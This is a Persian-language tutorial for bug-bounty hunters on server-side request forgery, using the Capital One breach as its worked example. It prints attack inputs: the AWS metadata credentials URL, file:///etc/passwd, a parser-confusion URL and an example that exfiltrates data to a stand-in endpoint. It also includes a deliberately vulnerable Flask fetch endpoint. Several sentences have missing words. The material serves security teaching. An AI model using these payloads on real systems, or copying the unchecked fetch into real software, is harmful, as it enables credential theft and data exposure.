سرور رو وادار کن به جات کثیفکاری کنه — SSRF چیه؟
SSRF یکی از خطرناکترین آسیبپذیریهای دنیای cloud هست. توی این مقاله از صفر یاد میگیری چطور مهاجم میتونه سرور رو وادار کنه به سرورهای داخلی درخواست بزنه، چرا cloud این رو بدتر میکنه، و چطور Capital One با همین یه باگ ۱۵۰ میلیون دلار ضرر کرد.
این SSRF اصلا چیه؟
یه روز صبح یه مهندس سابق AWS از خونهش نشست پشت لپتاپش، یه ابزار ساده اجرا کرد، و تا ظهر اطلاعات ۱۰۰ میلیون نفر رو داشت. نه بدافزار پیچیده، نه تیم هکری، نه ماهها کار. فقط یه آسیبپذیری که توسعه دهنده ش فکرش رو هم نمیکرد.
اسم این آسیبپذیری SSRF بود و این مقاله اولین قدم برای فهمیدنشه. اگه داری باگ باونتی کار میکنی، یا میخوای بفهمی چطور سیستمهای واقعی هک میشن، این یکی از مهمترین چیزاییه که باید بلد باشی — مخصوصاً توی دنیایی که همه چیز داره میره روی .
خلاصه در یه جمله این حمله وقتی اتفاق میافته که مهاجم بتونه سرور شما رو وادار کنه درخواست هایی رو به آدرس های دلخواه (داخلی یا خارجی) ارسال کنه. حالا یه کم بیایم این رو باز تر کنیم. خب SSRF یعنی Server-Side Request Forgery. این Request Forgery یعنی جعل درخواست — تو داری یه درخواست جعلی میسازی. Server-Side یعنی این درخواست جعلی رو سرور از طرف تو ارسال میکنه، نه مرورگر خودت. در حالت عادی ما نمیتونم به سرور های داخلی دسترسی داشته باشیم که از همین استفاده میکنیم. خب حالا که فهمیدیم SSRF چیه، یه سوال مهم پیش میاد — اصلاً چرا سرور باید به جای دیگهای بزنه؟ مگه همه چیز داخل خودش نیست؟
چرا اصلاً سرور باید به جای دیگهای request بزنه؟
شاید این سوال واست پیش بیاد که خیلی خوب و مهمه.اپلیکیشنهای مدرن یه چیز واحد نیستن — از دهها سرویس مختلف استفاده میکنن، که بسته به معماری شون متفاوت هست. مثلا اگر یه سایتی بهت اجازه بده که عکسی رو از یه ادرس خارجی ایمپورت(وارد) کنی در اصل داره به اون ادرس درخواست ارسال میکنه. یا مثلا میتونه از سرویس های شخص سوم (همون Third-party) استفاده کنه اینجا مجبوره به ادرس اون سرور درخواست ارسال کنه.این رفتار کاملاً طبیعیه و بخشی از معماری مدرن وبه.
حالا چرا ما به اون سرورهای داخلی دسترسی نداریم؟
اول باید بفهمیم شبکه چطور کار میکنه. دوتا نوع داریم — public(عمومی) و private(خصوصی).
آدرسهای public اونایی هستن که از هر جای اینترنت میشه بهشون رسید، مثل آدرس گوگل یا سایت خودت. ولی آدرسهای private یه سری محدوده(range) خاص دارن که فقط داخل یه شبکه معنا دارن — مثل 192.168.x.x یا 10.x.x.x. این آدرسها توی اینترنت عمومی روت نمیشن، یعنی اگه از مرورگرت بخوای به 192.168.1.5 وصل بشی، هیچوقت به مقصد نمیرسه چون اینترنت نمیدونه این آدرس کجاست.
شرکتها سرورهای داخلیشون رو — دیتابیس، سرویسهای internal، admin panel — روی همین آدرسهای private نگه میدارن. هم جلوی هر ترافیکی که از بیرون میاد و میخواد به این آدرسها برسه رو میگیره.
سرور اپلیکیشن ولی داخل همین شبکهست — پس برای اون این آدرسها کاملاً قابل دسترسن، یعنی برای کار کردن مجبورن دسترسی داشته باشند. وقتی SSRF داری، داری از این موقعیت سرور استفاده میکنی.
پس الان میدونیم چرا از بیرون نمیتونیم به سرورهای داخلی برسیم، و میدونیم سرور میتونه به جای ما این کار رو بکنه. حالا سوال اینه — چرا این توی cloud خطرناکتره؟
چرا در محیط های ابری خطرناک تر هست؟
خب بذار از پایه توضیح بدم.
اول — معماری cloud چطوریه؟
وقتی یه شرکت سرورش رو روی AWS یا GCP یا Azure داره، اون سرور یه آدرس داخلی خاص داره: 169.254.169.254. این آدرس متعلق به چیزیه که بهش میگن Instance Metadata Service یا . هر سروری که روی باشه میتونه به این آدرس request بزنه و اطلاعات خودش رو بگیره.
دوم — این metadata چیه؟
وقتی به این آدرس request میزنی چیزایی مثل این برمیگرده:
- محتویات IAM credentials (یعنی )
- نقش سرور (چه سطح دسترسیای داره)
- اطلاعات شبکه داخلی
- مشخصات user data که معمولاً شامل config و بعضاً پسوردهاست
سوم — چرا این خطرناکه؟
اون IAM credential که برگشته یه توکن موقته ولی کاملاً معتبره. یعنی مهاجم میتونه با اون توکن مستقیماً با AWS صحبت کنه. بسته به اینکه اون سرور چه سطح دسترسی داشته، مهاجم میتونه:
- به S3 bucket های شرکت دسترسی پیدا کنه و داده بکشه بیرون
- سرورهای جدید بالا بیاره
- به دیتابیسها وصل بشه
- کل infrastructure رو ببینه
چرا cloud این رو بدتر میکنه؟
در دنیای قدیم (on-premise)، حتی اگه SSRF داشتی، باید شبکه داخلی رو میشناختی. کجا بری؟ چی بخوای؟ ولی در cloud یه همیشه ثابته — همه میدونن 169.254.169.254 کجاست و چی برمیگردونه. یعنی مهاجم یه نقشه آماده داره.
مثال داستانی برای فهم بهتر:
فرض کنید شما بیرون یه ساختمون اداری هستید. شما حق داری فقط به اتاق روابط عمومی نامه بدید ولی میخوای به اتاق مدیر مجموعه نامه بدی. ولی راه حل چیه؟ خوشبختانه اینجا یه نقطه ضعف هست و اینا اومدن فقط قانون رو گذاشتن، کسی واقعا نمیبینه نامه از کجا اومده و به کجا میره اینا اومدن اعتماد کردند که کاربر — که ما باشیم — ادمای سر به راهی هستیم و از قوانین پیروی میکنیم ولی کور خوندن. ما میایم اینجا از بخش نامه رسان ها سواستفاده میکنیم. وظیفه نامهرسانها اینه که نامه ها رو از صندوق پستی برمیدارن و میبرن به مقصدشون همین، هیچ سوال و چکی نمیکنند. به عبارتی اگر نامه شما به نامه رسان ها برسه بدون اینکه ببیند از کجا اومده مستقیم به وظیفه شون عمل میکنند و اون رو به مقصد مورد نظر میبرند، پس تنها کاری که نیازه اینه بریم و نامه رو داخل صندوق پست بندازیم. میدونم مثال خیلی ساده و بچه گانه ای بود، اما در دنیای واقعی هم تقریبا همینه، شما از سرور که نامه رسان باشه سواستفاده میکنید تا به جاهایی که در حالت عادی نباید دسترسی داشته باشید، یعنی سرور های داخلی دسترسی پیدا کنید، وقتی دارید به سرور رو میدید و اون بدون بررسی های کافی درخواست رو ارسال میکنه. مفهوم SSRF روی سو استفاده از همین واسطه بنا شده. امروزه عموما این واسطه ها زرنگ تر شدن و قبلش یه سری چک های رو میکنند(یا به صورت پیشفرض یا پیاده سازی شده توسط برنامه نویس ها) اما خب ما هکریم و اینا رو به صورت اخلاقی دور میزنیم، که در این مقاله و مقاله های بعدی به همشون میرسم هم اینکه چطور کار میکنند هم اینکه چطور دورشون بزنیم. حالا بریم سراغ یه مثال واقعی از این اسیب پذیری.
واقعیت داستان
حمله به Capital One در سال ۲۰۱۹
یکی از معروف ترین نمونه های حملات SSRF که درس عبرتی بزرگی بود حمله Capital One در سال ۲۰۱۹ هست که منجر به افشا اطلاعات ۱۰۰ میلیون کاربر آمریکایی شد. از نام و نام خانوادگی تا شماره های تامین اجتماعی(کد ملی خودمون). چون داستان جالب و نقطه عطفی در تاریخ حملات محسوب میشه میخوام یه کم بازش کنم. مرحله ۱ — نقطه ورود
حمله بین ۲۲ و ۲۳ مارس ۲۰۱۹ اتفاق افتاد. مهاجم Paige Thompson بود، یه مهندس سابق AWS. اون یه ابزار اسکن سفارشی ساخته بود برای پیدا کردن اکانت های های AWS آسیبپذیر.
مرحله ۲ — پیدا کردن آسیبپذیری
شرکت Capital One از یه WAF(نوعی فایروال) متنباز به اسم ModSecurity استفاده میکرد. اشتباهاتی در تنظیمات این فایروال این اجازه رو داد که مهاجم اون رو گول بزنه تا درخواست به سرویس متادیتا برسه.
مرحله ۳ — گرفتن credential
مهاجم با زدن درخواست به http://169.254.169.254/iam/security-credentials اول اسم IAM role رو گرفت — که بهش ISRM-WAF-Role میگفتن — بعد با یه درخواست دیگه مشخصات امنیتی کامل رو گرفت.
مرحله ۴ — چرا این credential اینقدر قدرتمند بود؟
این WAF بیشتر از چیزی که نیاز داشت دسترسی داشت یعنی میتونست به چیز هایی دسترسی بگیره که نباید این اتفاق میافتاد — دسترسی خوندن و لیست کردن همه S3 bucket ها. یعنی یه اشتباه کوچیک در به دسترسی به کل دادهها شد.
مرحله ۵ — کشیدن داده
اطلاعات شامل PII مثل اسم، آدرس، تاریخ تولد، نمره اعتباری، و همچنین ۱۴۰ هزار Social Security number و ۸۰ هزار شماره حساب بانکی بود.
چیزی که این breach رو خاص میکنه
نکته این بود کهmonitoring استاندارد شرکت این حمله رو تشخیص نکرد چون ترافیک کاملاً شبیه AWS API call های عادی بود (یعنی فرق مشخصی بین کار عادی سرور و این حمله وجود نداشت). و از زمان حمله تا مشخص شدنش تقریباً چهار ماه طول کشید.
نتیجه
شرکت Capital One در نهایت ۸۰ میلیون دلار جریمه و بیشتر از ۱۵۰ میلیون دلار خسارت کل پرداخت کرد. AWS هم بعد از این breach آمد IMDSv2 رو معرفی کرد که دیگه برای گرفتن نیاز به داره — دقیقاً برای جلوگیری از همین حمله. این یه مورد نبود. بذارید ببینیم این آسیبپذیری الان کجا ایستاده.
یه کمی آمار
این نفود در سال ۲۰۱۹ اونقدر مهم بود که SSRF برای اولین بار در سال ۲۰۲۱ وارد شد — و جالبه که توی پرسشنامه اون سال، SSRF رتبه اول رو از نظر جامعه امنیتی گرفت. یعنی متخصصها قبل از اینکه آمار رسمی تایید کنه، میدونستن این آسیبپذیری داره بزرگتر میشه.
حالا سال ۲۰۲۵ رو نگاه کنیم. گزارش SonicWall از افزایش ۴۵۲ درصدی حملات SSRF از سال ۲۰۲۳ تا ۲۰۲۴ خبر میده. Vectra AI و در مارس ۲۰۲۵، GreyNoise یه surge هماهنگ در exploitation چندین SSRF CVE به صورت همزمان شناسایی کرد — حداقل ۴۰۰ داشتن به صورت موازی چندین آسیبپذیری رو میکردن. The Hacker News
این اعداد یه چیز مهم رو نشون میده: SSRF دیگه یه آسیبپذیری نیچ نیست که فقط محققا بدونن. داره به یکی از فعالترین attack vector های الان تبدیل میشه. خب داستان و آمار رو دیدیم. حالا وقتشه بریم زیر پوست ماجرا و ببینیم این حمله دقیقاً چطور کار میکنه.
حالا بیاید یه کم فنی تر بشیم
چطور وب اپلیکیشن ها به سرور ها درخواست میدهند؟
چرا اصلاً یه وب اپ به جای دیگهای request میزنه؟ به طور امروزه خیلی وقتا وب اپهای مدرن خودشون همه کارهاشون رو نمیکنند یا بهتره بگیم همه چیز داخل یه سرور اتفاق نمیافته و به جاش از سرور های دیگه استفاده میکنند، یا بعضا نیاز دارند که به سرور دیگه ای درخواست بزنند چون میخوان یه قابلیتی به شما بدهند. بیاید مثال عکس رو بزنیم دوباره، فرض کنید که یه سایتی از شما ادرس برای پروفایل قبول میکنه حالا برای اینکه این عکس رو بگیره نیاز داره به اون جایی که عکس هست درخواست بزنه درسته؟ دقیقا اینجا یه مورد احتمالی برای تست هست. یا بیاید از اینکه یه برنامه سرور های رو پخش میکنه صحبت کنیم یا اینکه اصلا از یه سرویس جانبی میخواد استفاده کنه مثلا شما وارد سایتی میشید که از نقشه گوگل برای گرفتن نقشه شون استفاده میکنه یعنی اینجا داره به سرور گوگل که یه سرور خارجی هست درخواست ارسال میکنه. این ارتباطها معمولاً از طریق انجام میشه — همون چیزی که مرورگرت هر لحظه داره انجام میده، فقط اینبار سرور داره این کار رو میکنه نه تو. کل وب بر اساس این درخواست ها ساخته شده حالا اگر شما سرور رو مامور انجام درخواستی بکنید میتونید برای SSRF تست کنید. مکانیزم چطوریه؟ بذار با یه مثال روزمره شروع کنیم. فرض کن یه سایت داری که میگه "آدرس عکس پروفایلت رو بده." شما یه URL میدید، سایت میره اون عکس رو میاره و نشونتون میده. سادهست.
حالا پشت صحنه چی اتفاق میافته؟ سرور یه کتابخونه داره — توی Python بهش requests میگن، توی PHP بهش cURL — که کارش اینه یه بگیره، بره بهش وصل بشه، جواب رو بیاره. همین.
1url = request.args.get('url') # از کاربر میگیره2response = requests.get(url) # میره fetch میکنه3return response.content # جواب رو برمیگردونه
این سه خط کل مکانیزم رو نشون میده. سرور رو میگیره و میره fetch(دریافت) میکنه. هیچ سوالی نمیپرسه. هیچ چکی نمیکنه. این رفتار به خودی خود مشکلی نیست — مشکل اینه که چه کسی این URL رو میده و به کجا اشاره میکنه. اینجاست که مشکل شروع میشه حالا همین رو شما بزارید تو یه برنامه، تمام اسیب پذیری دارید چون نگاه کنید هیچ گونه تایید اینکه ایا عکس هست؟ ایا اصلا این درخواست به سمت سرور های داخلی ما هست یا نه؟ نداره پس شما بهش میگید به سرور داخلی ات درخواست بزن و این میزنه و شما میتونید تمام اطلاعات داخل اون سرور رو ببینید(بسته به نوعش پایین ترین توضیح دادیم). وقتی شما میتونید ورودی رو کنترل کنید به هر طریقی اونجا باید دنبال این آسیب پذیری باشید دقیقا مثل مشکل نامه رسان ها. این پایهایترین دلیل وجود SSRF ـه — سرور به جای کاربر request میزنه، ولی کاربر، مقصد رو تعیین میکنه.
مشکل درخواست داخلی و اینکه چرا زیرساخت ابری همه چیز رو بدتر میکنه
این بخش رو قبلاً تا حدی توضیح دادیم — که سرور داخل شبکهست و به آدرسهای private دسترسی داره. و اینکه چرا cloud بدترش میکنه رو تا حدی توضیخ دادیم اما یه کم بیشتر صحبت کنیم.
در دنیای قدیم اگه SSRF داشتی، باید شبکه داخلی شرکت رو میشناختی. کدوم سرور کجاست؟ چه سرویسی روی کدوم داره؟ این اطلاعات رو نداشتی و باید کور کورانه دنبالشون میگشتی.
ولی در cloud یه چیز عوض شده — همه چیز استاندارده. هر سروری روی AWS باشه، metadata service همیشه روی همون آدرس 169.254.169.254 ـه. هر سروری روی GCP (زیرساخت ابری گوگل) باشه، همون آدرس metadata.google.internal ـه. مهاجم نیازی به شناخت شبکه داخلی نداره — نقشه آمادهست و همه میدوننش.
علاوه بر این، چیزی که از میاد بیرون — که قبلاً توضیح دادیم — هایی هستن که دسترسی به کل زیرساخت رو میدن. در دنیای قدیم حتی اگه به یه سرور داخلی میرسیدی، اون سرور محدود بود. ولی در cloud یه credential میتونه دسترسی به صدها سرویس و میلیونها رکورد داده بده(اگر پیکربندی نامناسب باشه).
انواع SSRF
خب حالا که فهمیدیم این SSRF اصلاً چیه و درک کردیم که چه اشتباهاتی باید رخ بده تا این اتفاقات بیفته، بیاین بررسی کنیم انواعش رو — که وقتی یه مورد مشکوک پیدا کردید راحتتر کار کنید. این بخش مهمه.
سادهترین حالت — Basic SSRF
جدی میگم بهترین و خوشحالکنندهترین اتفاقه. سرور میره درخواست میزنه و مستقیم نتیجه رو نشون میده — بیدردسر.
یه مثال ساده: فرض کن یه سایت داره که میگه "کلیدواژه بده تا ما بریم همه چیز رو از یک سرور بگیریم برات" تو به جای کلید واژه، آدرس metadata service رو میدی. سرور میره اونجا رو fetch میکنه و جواب رو مستقیم توی صفحه نشونت میده. همه credential ها، همه اطلاعات — جلوی چشمت.
شما فقط لازمه پیداش کنید و محدودیتها رو دور بزنید که توی مقاله بعدی مفصل توضیح میدم، و تمام نتیجه رو میبینید.
نیاز به زرنگبازی — Blind SSRF
یه چیز مهم بدونید: هر وقت شما خروجی مستقیم رو نبینید، میشه Blind.
اینجا سرور میره درخواست رو ارسال میکنه اما هیچی بهت نشون نمیده — نه error، نه جواب، خلاصه هیچی. از دید شما انگار هیچ اتفاقی نیفتاده.
خب سود این درخواست کجاست؟
خیلی از پردازشها هستن که در پشت صحنه اتفاق میافتن و شما در لحظه چیزی نمیبینید. مثلاً فرض کن یه اپلیکیشن هر حرکت کاربر رو میفرسته به یه برای ذخیره و بررسی بعدی. شما مستقیماً چیزی نمیبینید، اما این اتفاق داره میافته و از طرف سرور درخواست ارسال میشه. ما میخوایم از همین استفاده کنیم.
چطور میفهمیم کار کرد؟ از طریق چیزی به اسم یا OOB. به زبان ساده یعنی یه کانال دیگه — یه راه ارتباطی که خودمون کنترلش میکنیم.
اینطوری کار میکنه: شما یه سرور یا دارید که ابزارهایی مثل Burp Collaborator یا interactsh بهتون میدن. این مثل یه صندوق پست شخصیه — هر درخواستی که بهش بیاد رو ثبت میکنه و بهتون نشون میده. حالا شما این آدرس رو به جای آدرس داخلی به سرور قربانی میدید. اگه سرور اومد و به شما درخواست زد، یعنی تموم — باگ پیدا کردید.
یه نکته عملی مهم: بعضی اهداف ها یا فایروالهاشون آدرسهای شناختهشدهای مثل Burp Collaborator و interactsh رو بلاک میکنن. ولی مشکل فقط این دوتا نیستن — بعضی سیستمها هر آدرس ناشناختهای رو با احتیاط بررسی میکنن و درخواست نمیزنن. به همین خاطر خیلی از هانترهای حرفهای یه زیرساخت(infrastructure) شخصی دارن — یه ساده با یه دامنه که به ابزارهای امنیتی شناختهشده ربط نداره و داره که میتونن درخواست های ورودی رو ببیننش. توی جامعه باگ باونتی بهش میگن custom out-of-band infrastructure و داشتنش به خصوص برای حمله های Blind خیلی قابل اعتمادتره. میتونید از خود interactsh برای راه اندازیش استفاده کنید.
خب چطور اطلاعات رو لو میده؟
اینجا یه کم زرنگتر بازی میکنیم. شما میتونید به سرور بگید که اول یه کار مثل خوندن credential رو انجام بده، بعد نتیجه رو به عنوان بخشی از درخواست به شما بفرسته. مثلاً نتیجه رو بذاره توی URL — چیزی شبیه به your-endpoint.com/?data=STOLEN_DATA. وقتی این درخواست به endpoint شما میاد، اون اطلاعات هم همراهشه.
بهتره این رو بگم که در سادهترین حالت شما فقط تایید میکنید که سرور داره request میزنه — همین خودش یه باگ تایید شده است. ولی در حالتهای پیشرفتهتر میشه داده رو هم از طریق همین کانال بیرون کشید، مثلاً با استفاده از protocol های خاص مثل gopher:// که به شما اجازه میده payload پیچیدهتری بسازید. این تکنیکها نیاز به دانش بیشتری دارن و توی مقاله بعدی مفصل بهشون میرسیم.
یه نکته مهم برای باگ باونتی: خیلی وقتا پیدا کردن باگ و confirm کردنش کافیه برای گزارش — ولی اگه بتونید impact واقعی اون رو نشون بدید، ارزش گزارشتون چند برابر میشه. مثلاً فرق بینه که بگید "سرور به endpoint من درخواست زد" با اینکه بگید "از طریق این باگ به metadata service رسیدم و credential های AWS رو گرفتم" خیلی زیاده. اولی یه low یا medium میگیره، دومی میتونه critical بشه. البته همیشه در چارچوب قوانین اون برنامه — هدف نشون دادن تاثیر واقعیه، نه آسیب رساندن به سیستم.
نیاز به تحلیل — Semi-Blind SSRF
این یکی بین دوتای قبلیه. سرور جواب کامل رو نشون نمیده، ولی یه چیز کوچیک لو میده.
اون چیز کوچیک معمولاً ـه. status code یعنی عدد وضعیتی که سرور برمیگردونه — مثلاً 200 یعنی "پیدا کردم و جواب دادم"، 403 یعنی "پیدا کردم ولی دسترسی نداری"، و timeout یعنی "اصلاً چنین چیزی وجود نداره یا جواب نمیده."
حالا چرا این مهمه؟ چون همین سه تا عدد بهت میگه:
- اون آدرس داخلی وجود داره یا نه
- اون سرویس الان زندهست یا نه
- اون port باز هست یا بسته
با همین اطلاعات کم میشه شبکه داخلی رو map کرد — یعنی بفهمی کدوم سرور زندهست، کدوم سرویس در حال اجراست، کجا ارزش داره بیشتر وقت بذاری. این کار رو بهش میگن و توی باگ باونتی خیلی ارزشمنده چون مقدمهایه برای حملات بزرگتر.
روشهای غیرمستقیم — SSRF via URL Parsers, Redirects, File Inclusion
گاهی نمیشه مستقیم یه آدرس داخلی داد — سیستم چک میکنه و رد میکنه. اینجاست که از راههای غیرمستقیم استفاده میکنیم.
URL Parser Confusion
هر زبان برنامهنویسی یه کتابخوانه داره که URL ها رو تجزیه میکنه — بهش میگن . مشکل اینه که این parser ها همیشه یه جور فکر نمیکنن.
مثلاً این URL رو ببینید: https://evil.com@internal-server.com
یه parser ممکنه بگه "مقصد internal-server.com ـه و evil.com فقط username ـه." یه parser دیگه ممکنه بگه "نه، مقصد اصلی evil.com ـه." وقتی سیستم امنیتی با یه parser چک میکنه ولی سرور با parser دیگهای request میزنه، این تفاوت تبدیل به راه نفوذ میشه.
Open Redirect
فرض کن یه endpoint معتبر داری مثل https://trusted-site.com/redirect?url=X که کارش اینه کاربر رو به URL دلخواه هدایت کنه. سیستم امنیتی این دامنه رو میشناسه و مورد اعتماد میدونه.
حالا مهاجم میاد میگه URL مقصد رو بذار http://192.168.1.1 — یه آدرس داخلی. سرور میره به trusted-site.com ، اونجا redirect میشه به آدرس داخلی، و سرور دنبالش میره. سیستم امنیتی فقط اول رو دید و تایید کرد، نفهمید بعدش کجا رفت. البته این حمله وقتی کار میکنه که سرور تنظیم شده باشه redirect ها رو دنبال کنه — که در خیلی از پیادهسازیهای واقعی اینطوره.
File Inclusion
این یکی دیگه حتی به network کاری نداره. بعضی سرورها از file:// protocol پشتیبانی میکنن — یعنی میتونن فایلهای داخل خود سیستم رو بخونن.
مهاجم به جای یه آدرس HTTP میگه file:///etc/passwd. سرور میره این فایل رو باز میکنه و محتواش رو برمیگردونه — لیست کامل کاربران سیستم. یا file:///etc/nginx/nginx.conf که config کامل سرور رو نشون میده. هیچ network ای درگیر نیست، مستقیم داری فایلهای حساس سیستم رو میخونی.
مشکل رو پیدا کن
بذار یه کد واقعی ببینیم:
1import requests2from flask import Flask, request34app = Flask(__name__)56@app.route('/fetch-image')7def fetch_image():8 url = request.args.get('url') # مستقیم از کاربر میگیره9 response = requests.get(url) # بدون هیچ چکی میره fetch میکنه10 return response.content
مشکل کجاست؟ سرور هر URL ای که کاربر بده رو بدون هیچ سوالی fetch میکنه. نه چک میکنه URL به کجا میره، نه اینکه اصلاً عکسه یا نه. حالا به جای یه آدرس عکس معمولی این رو بدید:
1/fetch-image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
سرور میره این آدرس رو fetch میکنه و جواب رو برمیگردونه — credential های AWS جلوی چشمتونه.
اینجا توسعه دهنده اومده یه قابلیت نوشته، فکر کرده کاربر همیشه یه URL عکس معمولی میده، و هیچ اعتبارسنجی ای(validation) نذاشته. همین یه اشتباه ساده کافیه. خب حالا یه نسخه با اعتبارسنجی ببینیم:
1from urllib.parse import urlparse23ALLOWED_DOMAINS = ['images.trusted-site.com', 'cdn.trusted-site.com']45@app.route('/fetch-image')6def fetch_image():7 url = request.args.get('url')89 parsed = urlparse(url)10 if parsed.hostname not in ALLOWED_DOMAINS: # فقط دامنه های مجاز11 return "URL not allowed", 4031213 response = requests.get(url)14 return response.content
این بهتره — ولی کافی نیست. چرا؟ چون این کد فقط اسم دامنه رو چک میکنه، نه اینکه request نهایی کجا میره. مثلاً اگه images.trusted-site.com یه open redirect داشته باشه، مهاجم میتونه بگه برو این دامنه — که مورد اعتماد هست — و اونجا redirect میشه به آدرس داخلی. سرور اول رو دید و تایید کرد، ولی نفهمید بعدش کجا رفت. یا با میشه این دامنه رو موقتاً به یه IP داخلی resolve کرد.
این ها دقیقاً موضوع مقاله بعدین — ولی فعلاً بدونید که اعتبارسنجی ساده شروع خوبیه، ولی پایان ماجرا نیست.
جمعبندی — چی یاد گرفتیم؟
خب رسیدیم به آخر، بذارید یه مرور سریع داشته باشیم.
حمله SSRF یعنی شما میتونید سرور رو وادار کنید به جاهایی درخواست بزنه که نباید — از جمله شبکه داخلی، سرویسهای داخلی، و در محیط cloud، سرویس متادیتا که credential های کامل AWS رو نگه میداره.
چند تا چیز مهم که باید باهاتون بمونه:
هر جایی که شما URL رو کنترل میکنید و سرور داره اون رو دریافت میکنه، یه نقطه تست بالقوهست. مهم نیست قابلیت چیه — پیش نمایش لینک، ایمپورت کردن عکس، ساخت PDF یا webhook — همه اینا باید تست بشن.
این SSRF در cloud خطرناکتره چون نقشه از قبل آمادهست. همه میدونن metadata service کجاست و چی برمیگردونه. Capital One با همین یه اشتباه ۱۵۰ میلیون دلار ضرر کرد.
بهتره بگیم Basic SSRF بهترین حالته ولی کمیابه. Blind SSRF شایعتره و نیاز به infrastructure شخصی داره که بتونید request ها رو confirm کنید. Semi-blind هم با خوندن status code میشه ازش اطلاعات کشید.
این رو بدونید که اعتبارسنجی(validation) ساده کافی نیست. دیدیم که حتی یه allowlist ساده هم راههای دور زدن داره — که دقیقاً موضوع مقاله بعدیه.
مقاله بعدی: شایع ترین روش هایی که توسعه ها برای جلوگیری از SSRF استفاده میکنن رو بررسی میکنیم — و بعد هر کدوم رو دور میزنیم.